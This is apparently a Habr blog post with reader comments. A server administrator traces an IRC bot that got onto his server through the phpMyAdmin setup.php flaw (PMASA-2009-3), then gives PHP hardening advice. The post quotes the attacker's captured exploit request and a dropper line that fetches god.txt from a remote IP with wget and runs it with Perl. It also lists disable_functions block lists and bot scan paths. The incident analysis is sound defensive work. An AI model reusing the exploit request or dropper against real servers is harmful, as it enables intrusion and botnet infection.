Анализ проникновения бота через эксплоит в старых версиях phpmyadmin и рекомендации по настройкам безопасности php-хостинга

    Имею на администрировании несколько серверов, на которых хостятся восновном свои проекты, но кроме них ещё довольно много пришлось разместить левых сайтов — клиентов, знакомых, знакомых знакомых и т.п. За время администрирования встречались разные проблемы, поэтому настроены кое-какие мониторинги (zabbix и самописные скрипты).

    И вот вчера на одном из серверов скрипт, проверяющий активные соединения, забил тревогу: постоянно висит исходящее соединение на неизвестный хост на порт 433, уже более 9 часов на момент когда я осилил прочитать почту в понедельник утром ;)

    При беглом просмотре кроме этого активного соединения больше никаких аномалий и левых процессов в системе не было обнаружено, резкого роста трафика на интерфейсе тоже не обнаружено, но это меня не успокоило, поэтому пришлось выяснять подробнее.

    По результатам анализа я выяснил что подобная дыра в безопасности может быть на большинстве серверов с базовыми настройками PHP, поэтому решил сделать пост на хабре чтобы обезопасить остальных владельцев серверов с хостингом от подобных случаев, а также описал способы поиска источников попадания заразы на сервер.

    Система установлена Debian Lenny с последними обновлениями, даже частично из backports squeeze, работают postfix+dovecot, apache2, lighttpd, mysql, php, perl — вобщем почти базовая конфигурация.

    Мой самописный скрипт, который обнаружил это соединение, делает следующее: раз в 30 минут запускает команду lsof -nP -i :80,443,25 +c 15 (список активных исходящих соединений на порты 80,443,25), вырезает из неё мой почтовый сервер postfix и ещё некоторые мои процессы, и если кроме них ещё кто-то держит соединение, то сразу включает режим паники.

    По результатам работы этого скрипта я получил следующую информацию:
    perl 31621 www-data 4u IPv4 123556667 TCP [мой_ip]:59216->81.223.126.136:443 (ESTABLISHED)

    Я сразу же подключился по ssh, сделал ps aux, который меня очень удивил:
    UID PID PPID C STIME TTY TIME CMD
    www-data 31621 1 0 20:15 ? 00:00:00 /usr/sbin/apache2 -k start

    Т.е. ps меня утверждал что это не perl, а апач.

    Поэтому захотелось узнать точное время появления этого процесса в системе, чтобы перерыть логи за это время, а скрипт имеет 30-минутный лаг, за который в логах очень много всего понаписаться успело. Оказалось, что выяснить конкретную дату старта довольно проблематично, команда ps aux выдавала только дату запуска (прошлый день, 12 Dec), в /proc/ даты создания файлов и остальная обнаруженная беглым просмотром инфа не совпадало с интервалом сообщения от скрипта, но после активного гугления мне удалось найти волшебную команду и выяснить конкретное время запуска данного процесса с точностью до секунды:
    # ps -eo pid,lstart,cmd
    во второй колонке отображает точное время запуска процесса, для моего процесса 12.12.2010 23:59:40.

    Тщательно просмотрев логи каждого виртуалхоста за это время вплоть до минус 5 минут с этого момента я не нашёл ничего аномального! Также построил дерево процессов и увидел что данный процесс не имеет родителей (родитель с pid 0). А обращений с IP куда висит коннект (81.223.126.136) вообще не было в логах ни одного демона.

    Далее, погуглив относительно perl, я выяснил что в нём довольно просто можно сменить параметр command на любой другой текст, делается это через переменную $0, т.е. запущенный perl-процесс можно отобразить как mysqld, init или любой другой демон.

    Итого, имеем активный процесс perl без родителя, который висит уже более 9 часов и неизвестно откуда запущен, хотя на хостинге у меня везде только PHP. Поэтому даже перезапуск apache оставляет этот процесс висеть активным.

    Далее я попробовал проанализировать трафик через tcpdump:
    000033 IP [my_ip].55026 > 81.223.126.136.443: . ack 1 win 46 <nop,nop,timestamp 575834701 2876573490>
    000172 IP [my_ip].55026 > 81.223.126.136.443: P 1:13(12) ack 1 win 46 <nop,nop,timestamp 575834701 2876573490>
    001043 IP 81.223.126.136.443 > [my_ip].54320: . ack 163 win 54 <nop,nop,timestamp 2876573490 575834655>
    183151 IP 81.223.126.136.443 > [my_ip].55026: . ack 13 win 46 <nop,nop,timestamp 2876573536 575834701>
    000022 IP [my_ip].55026 > 81.223.126.136.443: P 13:145(132) ack 1 win 46 <nop,nop,timestamp 575834747 2876573536>
    000005 IP 81.223.126.136.443 > [my_ip].55026: P 1:77(76) ack 13 win 46 <nop,nop,timestamp 2876573536 575834701>
    000006 IP [my_ip].55026 > 81.223.126.136.443: . ack 77 win 46 <nop,nop,timestamp 575834747 2876573536>
    001213 IP 81.223.126.136.47092 > [my_ip].113: S 4059834353:4059834353(0) win 5840 <mss 1460,sackOK,timestamp 2876573536 0,nop,wscale 7>
    000019 IP [my_ip].113 > 81.223.126.136.47092: S 2188075368:2188075368(0) ack 4059834354 win 5792 <mss 1460,sackOK,timestamp 575834748 2876573536,nop,wscale 7>


    И ещё нашёл в команде htop возможность делать strace:
    select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
    select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
    select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
    select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
    select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
    select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
    select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
    select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 559974})
    read(4, "ERROR :Closing Link: Fasso'[sea.q"..., 4096) = 76
    select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 599998})
    read(4, ""..., 4096) = 0
    close(4) = 0
    socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 4
    ioctl(4, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fff99d8c7a0) = -1 EINVAL (Invalid argument)
    lseek(4, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek)
    ioctl(4, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fff99d8c7a0) = -1 EINVAL (Invalid argument)
    lseek(4, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek)
    fcntl(4, F_SETFD, FD_CLOEXEC) = 0
    connect(4, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("81.223.126.136")}, 16) = 0
    getsockname(4, {sa_family=AF_INET, sin_port=htons(54087), sin_addr=inet_addr("[my_ip]")}, [149023476701724688]) = 0
    write(4, "NICK Fasso'\n"..., 12) = 12
    getsockname(4, {sa_family=AF_INET, sin_port=htons(54087), sin_addr=inet_addr("[my_ip]")}, [149023476701724688]) = 0
    write(4, "USER fake [my_ip] 81.223.1"..., 132) = 132
    rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
    rt_sigaction(SIGCHLD, NULL, {SIG_IGN}, 8) = 0
    nanosleep({2, 0}, {2, 0}) = 0
    rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
    select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 599997})
    read(4, "NOTICE AUTH :*** Looking up your "..., 4096) = 113
    select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
    select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
    select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
    select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
    select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
    select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
    select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
    select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
    select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
    select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 198392})
    read(4, "NOTICE AUTH :*** Couldn't look up"..., 4096) = 66
    write(4, "PONG :258562266\n"..., 16) = 16
    select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 413936})
    read(4, ":god.undernet.hk 432 * Fasso' :Er"..., 4096) = 50
    select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
    15:59:55 icq.j-im.ru 
    select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)
    select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 198392})
    read(4, "NOTICE AUTH :*** Couldn't look up"..., 4096) = 66
    write(4, "PONG :258562266\n"..., 16) = 16
    select(8, [4], NULL, NULL, {0, 600000}) = 1 (in [4], left {0, 413936})
    read(4, ":god.undernet.hk 432 * Fasso' :Er"..., 4096) = 50
    select(8, [4], NULL, NULL, {0, 600000}) = 0 (Timeout)


    Из этих данных я выяснил, что данный бот периодически обменивается информацией с сервером (где-то раз в 30-60 секунд), т.е. активно работает, но много трафика не генерит, увидел хост god.undernet.hk, но в поиске источника попадания данного бота в систему это мне никак не помогло.

    Далее, ещё пораскинув мозгами, я сделал lsof -p 31621 и получил следующий вывод:
    COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
    perl 31621 www-data cwd DIR 9,4 640 2 /tmp
    perl 31621 www-data rtd DIR 9,1 4096 2 /
    perl 31621 www-data txt REG 9,1 6848 245277 /usr/bin/perl
    perl 31621 www-data mem REG 9,1 25536 310438 /usr/lib/perl/5.10.0/auto/Socket/Socket.so
    perl 31621 www-data mem REG 9,1 19704 310433 /usr/lib/perl/5.10.0/auto/IO/IO.so
    perl 31621 www-data mem REG 9,1 39112 1404408 /lib/libcrypt-2.7.so
    perl 31621 www-data mem REG 9,1 1375536 262722 /lib/libc-2.7.so
    perl 31621 www-data mem REG 9,1 130114 261372 /lib/libpthread-2.7.so
    perl 31621 www-data mem REG 9,1 534736 1404410 /lib/libm-2.7.so
    perl 31621 www-data mem REG 9,1 14616 1404409 /lib/libdl-2.7.so
    perl 31621 www-data mem REG 9,1 1499352 246277 /usr/lib/libperl.so.5.10.0
    perl 31621 www-data mem REG 9,1 119288 262716 /lib/ld-2.7.so
    perl 31621 www-data 0u unix 0xffff880080459200 122918994 /tmp/php.socket-1
    perl 31621 www-data 1w FIFO 0,8 123556620 pipe
    perl 31621 www-data 2w REG 9,1 838 979223 /var/log/lighttpd/error.log
    perl 31621 www-data 3u unix 0xffff880020d31500 123039634 /tmp/php.socket-1
    perl 31621 www-data 4u IPv4 123556667 TCP [мой_ip]:59216->136-126-223-81.static.edis.at:https (ESTABLISHED)


    Данный вывод меня удивил ещё больше наличием слова lighttpd (у меня на сервере 2 ip, на одном висит apache, на другом lighttpd), хотя в ps процесс представлялся апачем, а запустили его по-видимому из /tmp.

    После дальнейшего раскидывания мозгами решил сделать дамп памяти данного процесса, но чтение /proc//mem не помогло. Зато помогла команда gcore (из пакет gdb) — с её помощью я смог сделать дамп памяти данного процесса на 3.2мб и стал его просматривать вручную. При просмотре удалось глазами заметить следующие текстовые фрагменты:
    @fakeps
    /usr/sbin/apache2 -k start
    god.txt
    HTTP_HOST=[my_ip]..!.......DOCUMENT_ROOT=/var/www/.A.......SCRIPT_FILENAME=/var/www/phpmyadmin3/scripts/setup.php..A.......SCRIPT_NAME=/phpmyadmin3/scripts/setup.php..............!.......PHP_FC
    GI_CHILDREN=16....1.......PATH=/sbin:/bin:/usr/sbin:/usr/bin......!.......PWD=/tmp................1.......REMOTE_ADDR=62.193.226.196..............!.......SHLVL=1.................1.......PHP_FCGI_MAX_REQUESTS=10000.............1.......OLDPWD=/
    var/www/phpmyadmin3.............!......._=/usr/bin/perl

    Ого, попался! Перл был запущен из PHP-скрипта /var/www/phpmyadmin3/scripts/setup.php
    Лезем в гугл, набираем «phpmyadmin setup.php exploit» и находим рабочий эксплоит: www.securityfocus.com/bid/34236 — он был обнаружен 2009-03-24, также есть на оф.сайте phpmyadmin: www.phpmyadmin.net/home_page/security/PMASA-2009-3.php и исправлен только в версиях 2.11.9.5 и 3.1.3.1.

    Данный phpmyadmin был поставлен мной довольно давно вручную, т.к. в репозитории не было 3 версии, стояла версия 3.0.0-rc2, т.е. старая, ещё с незалатанной дыркой, и потом о ней я благополучно забыл и осталась она висеть мёртвым грузом до сегодняшнего дня.

    Далее, уже зная адрес php скрипта, удалось найти обращения и в логах lighttpd:
    62.193.226.196 [my_ip] - [12/Dec/2010:15:54:57 +0300] "GET /phpmyadmin3/scripts/setup.php HTTP/1.1" 200 14083 "http://[my_ip]/phpmyadmin3/scripts/setup.php" "Opera"
    62.193.226.196 [my_ip] - [12/Dec/2010:15:54:59 +0300] "POST /phpmyadmin3/scripts/setup.php HTTP/1.1" 200 556203 "http://[my_ip]/phpmyadmin3/scripts/setup.php" "Opera"

    Единственное что мне непонятно — это такая разница во времени, запрос был в 15:54, а процесс появился в 23:59.

    Захотелось всё же узнать что это за бот, который мне подсунули, поэтому вместо блокирования доступа к скрипту прописываем туда ловушку:
    $loginfo['date']=date('c');
    $loginfo['env']=var_export($_ENV,true);
    $loginfo['get']=var_export($_GET,true);
    $loginfo['post']=var_export($_POST,true);
    file_put_contents('log.txt',var_export($loginfo,true),FILE_APPEND); 

    Ловушка не заставила себя долго ждать, в 22 часа следующего дня ловит снова обращение к данному скрипту, и мы уже имеем код эксплоита:
      'post' => 'array (
      \'action\' => \'lay_navigation\',
      \'eoltype\' => \'unix\',
      \'token\' => \'4b179cfc2f788d828bf9ff8d2f122459\',
      \'configuration\' => \'a:1:{i:0;O:10:\\\\"PMA_Config\\\\":1:{s:6:\\\\"source\\\\";s:44:\\\\"	ftp://web1:l33t@85.25.132.71/html/godbot.txt\\\\";}}\',
    )' 

    Скачиваем данный файл через wget и видим:
    <?php  system("cd /tmp;killall -9 perl;wget -O god.txt 67.19.118.242/god.txt;perl god.txt;rm -f god.txt*");die;

    Далее по ссылке уже получаем сам код бота (34 кбайт), кому интересно можете скачать его и посмотреть.

    Итого, мне удалось выяснить источник проникновения данного бота и получить код самого бота. Осталось залатать дыры ;)

    Надеюсь описание моего анализа поможет другим админам в поиске и анализе всяческой нечисти на своих серверах.

    Как обезопаситься от подобных случаев


    Самое первое что приходит в голову — надо вовремя обновляться до свежих версий. Да, в данном конкретном случае я сам виноват что не следил за версией phpmyadmin, но ведь каждого клиента на хостинге нельзя заставить постоянно обновлять свои phpmyadmin, которые они очень часто закачивают на сайте, поэтому надо учитывать что наличие старых дырявых версий скриптов неизбежно, поэтому каждый юзер с доступом к своей домашней папке уже является источником схожих проблем, т.к. бороться за чистоту и защищённость кода на каждом сайте бесполезно, нужно предпринимать глобальные меры защиты.

    Получается что каждый сервер с базовыми настройками php потенциально подвержен подобной угрозе, причём заметить что на сервере поселился такой бот практически невозможно. Поэтому я рекомендую админам заранее защитить сервер от схожих проблем и настроить мониторинг аномальной активности.

    Я предпринял следующие меры защиты:


    1. Настройка периодического мониторинга активных соединений, с помощью этого можно сразу заметить ненормальную активность, будь то рассылка спама php-скриптом или связь бота с сервером. В данный скрипт добавил сразу команду lsof и дамп памяти этого процесса, т.к. к моменту пока я сам доберусь до сервера скрипт может уже отработать и выгрузиться.

    2. Запрет в php на запуск фукнций exec, system и т.п., т.к. они требуются очень редко, поэтому большинством клиентов не используются. Идеальным вариантом было бы логгирование использование этих функций, но как его сделать я не нашёл (кстати, может кто подскажет как сделать?), полная строка в php.ini следующая:
    disable_functions = "ini_alter, curl_exec, exec, system, passthru, shell_exec, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, leak, listen, chgrp, apache_note, apache_setenv, closelog, debugger_off, debugger_on, define_sys
    log_variables, openlog, syslog,ftp_exec,dl"


    Хотелось бы услышать комментарии хабраюзеров правильно ли я выбрал способы защиты и кто как делает защиту от подобных случаев на своих серверах.

    Также у меня остались открытыми следующие вопросы:
    1. Как можно узнать реальную команду запуска процесса и путь к нему, если она уже перезаписана самим процессом, не прибегая к дампу памяти и ручному просмотру кракозябр?
    2. Каким образом в linux можно перехватить и просмотреть весь трафик через tcpdump или схожую утилиту от определённого процесса, зная его pid?
    3. Есть ли какие-нибудь готовые решения для мониторинга нестандартной активности сервера в соединениях?
    4. Можно ли как-нибудь настроить в php логгирование выполнения функций exec и подобных?

    UPD.: Кстати, данная дыра может быть не закрыта в phpmyadmin из репозиториев, нужно внимательно смотреть доки. Дырка залатана была только в версиях 2.11.9.5 и 3.1.3.1. Но например в Debian Lenny идёт 4:2.11.8.1-5+lenny6, а дырка закрыта отдельным патчем -http://www.debian.org/security/2009/dsa-1824
    Более подробная информация об этой дырке: www.phpmyadmin.net/home_page/security/PMASA-2009-3.php

    UPD2: Можно ли как-нибудь настроить через firewall (насколько я понимаю для linux это будет iptables) ограничение доступа к сети конкретных процессов? Например, запретить всем процессам perl коннектиться наружу. В OS Android (он тоже на ядре Linux работает) есть программа DroidWall которая позволяет разрешить/запретить доступ к сети конкретным приложениям, а вот в базовой поставке Linux (например, Debian) что-то не понял можно ли такое сделать.

    UPD3: По комментариям и письмам дополнил список функций и выкинул некоторые лишние:
    disable_functions = "apache_setenv, chown, chgrp, closelog, define_syslog_variables, dl, exec, ftp_exec, openlog, passthru, pcntl_exec, popen, posix_getegid, posix_geteuid, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_open, proc_terminate, shell_exec, syslog, system"

    UPD4: Ещё дополнения по просьбам зрителей:
    Скрипт проверки активных соединений: (писалось побыстрому на коленке только для моих личных нужд)
    $out=system("lsof -nP -i :80,443,25 +c 15 | grep -v -E '^(COMMAND|apache2|zabbix|smtpd?|master|scache|host|lighttpd)' | grep -v 'wget.*>[my_ip]:80'");
    if(strlen($out)) {
      $arr=explode("\n",$out);
      foreach($arr as $str) {
        echo $str."\n";
        $spl=preg_split("/\s+/",$str);
        echo `ps -f -p {$spl[1]}`."\n\n";
        echo `lsof -p {$spl[1]}`."\n\n";
      }
    

    И прописываю его в cron на каждые 30 минут. Если что-то лишнее выводит он при запуске, то добавляем в список grep чтобы не мешалось. В итоге если что-то левое появляется, которое пытается либо спамить либо качать что-то, то сразу cron по почте меня уведомляет.

    UPD4: от юзера z123: как узнать реальную программу, которая запустила процесс (если её подменили):
    ps -p 123 -o comm
    readlink /proc/123/exe (123 заменить на номер процесса)
    Но, к сожалению, они не показывают параметры запуска и папку, а выводят только perl и /usr/bin/perl для этого бота, поэтому без дампа памяти пока не нашёл способ найти папку откуда полезла зараза (т.е. найти строку /var/www/phpmyadmin3/scripts/setup.php)
    Share post
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 67

      0
      вообще странно, что в pma до сих пор не предлагает удалить / переименовать скрипты установки после настроки параметров. Хотя, размещение pma не по стандартному example.com/phpmyadmin тоже спасло бы от многих проблем.
        +8
        По нестандартному адресу если разместить — пользователи его постоянно будут забывать и либо постоянно звонить спрашивать либо ставить свои необновляемые версии к себе в папку сайта.

        Также, как я смотрю по логам, боты не скупятся на перебор разных вариантов адресов:
        GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /phpmyadmin1/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /phpmyadmin3/scripts/setup.php HTTP/1.1" 200 14083 "-" «ZmEu»
        GET /phpadmin/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /phpmanager/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /pma/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /pmaold/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /www/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /admin/pma/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /admin/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /db/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /dbadmin/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /myadmin/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /mysql-admin/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /mysql/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /mysqladmin/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /mysqlmanager/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /sqladmin/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /sqlweb/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /typo3/phpmyadmin/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /web/phpMyAdmin/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /webadmin/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /websql/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /xampp/phpmyadmin/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»
        GET /phpMyAdmin-2.2.3/scripts/setup.php HTTP/1.1" 404 345 "-" «ZmEu»

        и т.п., полный список переборов которые я нашёл в логах — тут: pastebin.com/YqJ3L59v
      +5
      Баг бородатый, но подробный анализ очень порадовал. Спасибо!
        0
        Спасибо, интересно! А бот похоже, управляется через IRC.
          0
          curl_exec зря заблокировали, curl ом после этого пользоваться будет нельзя:
          Execute the given cURL session.
          This function should be called after initializing a cURL session and all the options for the session are set.
            +2
            Я лично вот эти функции у себя повырубал:
            disable_functions = «apache_child_terminate, apache_note, apache_setenv, chgrp, closelog, curl_exec, debugger_off, debugger_on, define_sys, define_syslog_variables, disk_total_space, diskfreespace, dl, escapeshellarg, escapeshellcmd, eval, exec, fp, fput, ftp_connect, ftp_exec, ftp_get, ftp_login, ftp_nb_fput, ftp_put, ftp_raw, ftp_rawlist, get_current_user, getmygid, getmyuid, highlight_file, ini_alter, ini_get_all, ini_restore, inject_code, leak, listen, log_variables, mysql_pconnect, openlog, passthru, phpAds_XmlRpc, phpAds_remoteInfo, phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, php_uname, phpinfo, popen, posix_getegid, posix_geteuid, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode»
            Мои скрипты эти функции не используют по крайней мере — и всё работает.
            После выключения этих функций не работает по крайней мере два известных php-шелла.
              +17
              надо было еще «echo» и «print» вырубить
                +3
                Опять минусуют =) Не пойму, чем плохо вырубать вредные функции в продакшне?
                –1
                Спасибо за хорошее описание разбора полетов.
                Сам недавно наткнулся на аналогичное, очень интересно и полезно поизучать чужой опыт.
                  +2
                  Очень полезно еще отключать выполнение скриптов в разделе /tmp, если он отдельный. Флаг noexec в /etc/fstab.
                    +3
                    Да, тоже полезная вещь, но в данном случае не спасло т.к. запускалось perl /tmp/god.txt а не сам файл, поэтому флаг noexec не помог бы :(
                      0
                      Положите вместо /usr/bin/perl обёртку, которая будет проверять кошерность скрипта, а затем уже вызывать настроящий перл.
                    +2
                    «Получается что каждый сервер с базовыми настройками php», получается, что не каждый а только со старым phpmyadmin.
                      +2
                      На каждом сервере с новым phpmyadmin вёбмастер может в любой момент закачать свой старый лично для себя на сайте. Да и кроме phpmyadmin ещё немало дырок и в других скриптах может быть, в том числе и свежих.
                      +3
                      Эцсамое, стоит phpmyadmin из репов, там этого setup.php просто нет. Я правильно понимаю, что в данном случае сервер не подвержен уязвимости?
                        +6
                        Этой не подвержен.
                          +6
                          Кокой философский ответ :)
                            0
                            Не-не, я оптимист :)
                        +1
                        >Данный phpmyadmin был поставлен мной довольно давно вручную

                        ну вот, а еще некоторые спрашивают, почему не нужно ставить ничего руками, а ставить из репозитария.
                          0
                          К примеру, в ubuntu 10.10 в репозитории он тянет за собой apache2, он часто бывает не нужен
                            +1
                            врете, не тянет.

                            Depends: libapache2-mod-php5 | php5-cgi | php5, php5-mysql | php5-mysqli, php5-mcrypt, perl, debconf (>= 0.5) | debconf-2.0, dbconfig-common, ucf (>= 0.28), libjs-mootools
                            Recommends: apache2 | lighttpd | httpd, php5-gd, mysql-client
                            0
                            А если нужно несколько админок с разными настройками на нескольких хостах? Ну можно, конечно, устроить ссылочный ужастик…
                              +1
                              Конфиг phpmyadmin позволяет это сделать. И даже если Вы хотите управлять mysql-базами с друной машины, останется лишь разрешить для удалённого mysql принимать соединения с машины, на которой есть phpmyadmin.
                            0
                            Можно вопрос. Как Вы включили strace для уже запущенного процесса?
                              +3
                              маны уже не в моде? strace -p
                                +1
                                либо можно попроще и в более юзер-френдли виде: запускаете htop, выделяете интересующий процесс и нажимаете 's'
                                0
                                Вырубать функции не сильно хорошо. Можно сделать так — в фаерволе закрыть порты исходящей почты для всех кроме почтового сервера, предварительно попытки соединиться настроив на действие LOG, тобишь так, чтобы пользователи могли отправлять из пхп функцией mail или из perl/php вызовом sendmail, а напрямую соединяться не моги. В почтовом сервере сделать ограничения на отправку почты. К сожалению как работает на дебиане я не знаю, решение у меня есть на exim+iptables.

                                И еще, /tmp желательно монтировать отдельно с опцией noexes, нельзя чтобы была возможность что-то из нее запустить
                                  0
                                  Ну кроме рассылки почты боты могут много всего разного делать, в том числе и по безобидному 80 порту, а также по другим нестандартным. А отправка почты средствами php у меня уже настроена, всё файло складывается в файл и если хост начинает много отправлять — то включается паника ;) В php 5.3 даже появилась отдельная опция для этого:
                                  The mail.log directive allows you to specify the file where each call to mail() will be logged. The log file will contain the path and line # of the calling script in addition to all of the headers indicated by the user.

                                  А то в 5.2 и старше логгирование почты делалось мягко говоря — через Ж:
                                  sendmail_path = /usr/local/sbin/sendmail-wrapper-php
                                  auto_prepend_file = /usr/local/sbin/php_set_envs.php
                                    0
                                    Ещё не надо забывать про /dev/shm =)
                                    +1
                                    Спасибо за подробный анализ и объяснения, буду знать, как анализировать ситуацию в таких случаях.
                                    Но на счет повода я согласен с предыдущими комментаторами — ССЗБ, нельзя не обновлять софт, который торчит наружу.
                                      –1
                                      Дело в том, что за обновлением своего я услежу, а уследить за пользователями, которые ставят старые версии и дырявые скрипты, плюс ещё многие и своими руками их творят — практически невозможно. Поэтому лучше обезопаситься заранее чем по факту.
                                      +2
                                      phpmyadmin на продакшн хосте это как приглашение — ломать тут…
                                        0
                                        Это не продакшн хост, а хостинговый сервер, на котором есть аккаунты всяких юзеров, а эти юзера могут туда что-угодно закачать, в том числе и дырявое как дуршлак.
                                        +1
                                        тонкий политический вопрос (слабонервным отвернуться):
                                        как можно кастрировать perl что бы он не мог сокеты поднимать? и на сколько это пагубно для системы, freebsd, например?

                                        ЗЫ сам не админ.
                                          0
                                          Подсунуть перлу библиотеку, в которой будут ваши обёртки для сокетных функций. Точную инструкцию сейчас не дам, просто погуглите LD_PRELOAD и LD_LIBRARY_PATH.
                                          +2
                                          >4 Можно ли как-нибудь настроить в php логгирование выполнения функций exec и подобных?
                                          Я использую вот это: habrahabr.ru/blogs/sysadm/69790/
                                          Чертовски полезная штука.
                                            0
                                            Дурацкий вопрос. Стоит старая версия (обновлять буду позже). Этот setup.php можно удалить или переименовать. Он вообще в работе используется после установки?
                                              0
                                              нет, не используется
                                                0
                                                Можно смело грохать, после установки он не нужен.
                                                +1
                                                По поводу upd2: в iptables есть owner match:

                                                  +2
                                                  (пардон, отправилось рано)

                                                  выдержка из man:
                                                  owner
                                                  
                                                  This module attempts to match various characteristics of the packet creator, for locally-generated packets. It is only valid in the OUTPUT chain, and even this some packets (such as ICMP ping responses) may have no owner, and hence never match.
                                                  --uid-owner userid
                                                      Matches if the packet was created by a process with the given effective user id. 
                                                  --gid-owner groupid
                                                      Matches if the packet was created by a process with the given effective group id. 
                                                  --pid-owner processid
                                                      Matches if the packet was created by a process with the given process id. 
                                                  --sid-owner sessionid
                                                      Matches if the packet was created by a process in the given session group. 
                                                  --cmd-owner name
                                                      Matches if the packet was created by a process with the given command name. (this option is present only if iptables was compiled under a kernel supporting this feature) 
                                                  NOTE: pid, sid and command matching are broken on SMP 
                                                  
                                                    0
                                                    Спасибо! Но, к сожалению, как раз та которая нужна (--cmd-owner) в последних версиях ядра почему-то убрана (причём уже лет 5 как) — www.spinics.net/lists/netfilter/msg49716.html, так что моя первоначальная идея похоже не реализуема, ограничивать получится только по uid и gid :(
                                                    Ну или через selinux шаманить.
                                                      0
                                                      Так она не «почему-то» убрана, а именно потому, что на SMP не работает.

                                                      По этой же причине она же вам бы не помогла.

                                                      Жаль, конечно, идея отличная была бы.
                                                        0
                                                        Ну можно было допилить для поддержки SMP.
                                                        На Android 2.2 и выше, кстати, работает эта штука как-то, а он на двухпроцессорных системах тоже есть.
                                                        В Droidwall правила выглядят так: owner UID match app_13
                                                        Попробую расковырять поглубже.
                                                  +5
                                                  >Мой самописный скрипт, который обнаружил это соединение
                                                  Привели бы уж для кучи и исходники скрипта. Может какие-то его куски полезными народу будут :)
                                                    0
                                                    Вот кстати, на одном полуподшефном серваке такая вот гадость тоже через pma проникла.
                                                    И регулярно пытается слать пароли по почте на lostsoul2k@ymail.com. Адрес почтовый yahoo походу, уже прибило, но письма все равно уходят.
                                                    Т.к. ssh зарезан достаточно сурово, толку от этих паролей нет, поэтому пока больше интересно, как бы выловить того, кто письма шлет?
                                                      0
                                                      Можно еще ограничить доступ к phpmyadmin в .htaccess:

                                                      Options -Indexes
                                                      Deny from all
                                                      Allow from IP
                                                      Allow from IP
                                                      Allow from IP

                                                      Ну и конечно-же не забывать периодически проверять и устанавливать обновления.
                                                        –4
                                                        Заголовок статьи отдает явной желтизной. Проблема была вызвана не дырой в phpmyadmin, а в неправильных настройках PHP на конкретном сервере автора.

                                                        Как следствие — есть ли на сервере определенного хостера phpmyadmin с дырой или нет — это вообще не важно, а важно то, как настроен этот сервер. Если сервер настроен нормально, подобных проблем никогда не возникнет.
                                                          0
                                                          Да, и правда немного желтовато звучит — переименовал ;) К концу написания статьи уже назначение статьи и основная тема немного поменялись, а заголовок старый остался висеть.
                                                        • UFO just landed and posted this here
                                                            0
                                                            Спасибо, поправил. Я что-то сразу не почитал внимательно, думал она закачивает файл и исполняет его, поэтому сразу на неё поставил чёрную метку ;) Убрал из списка.
                                                            0
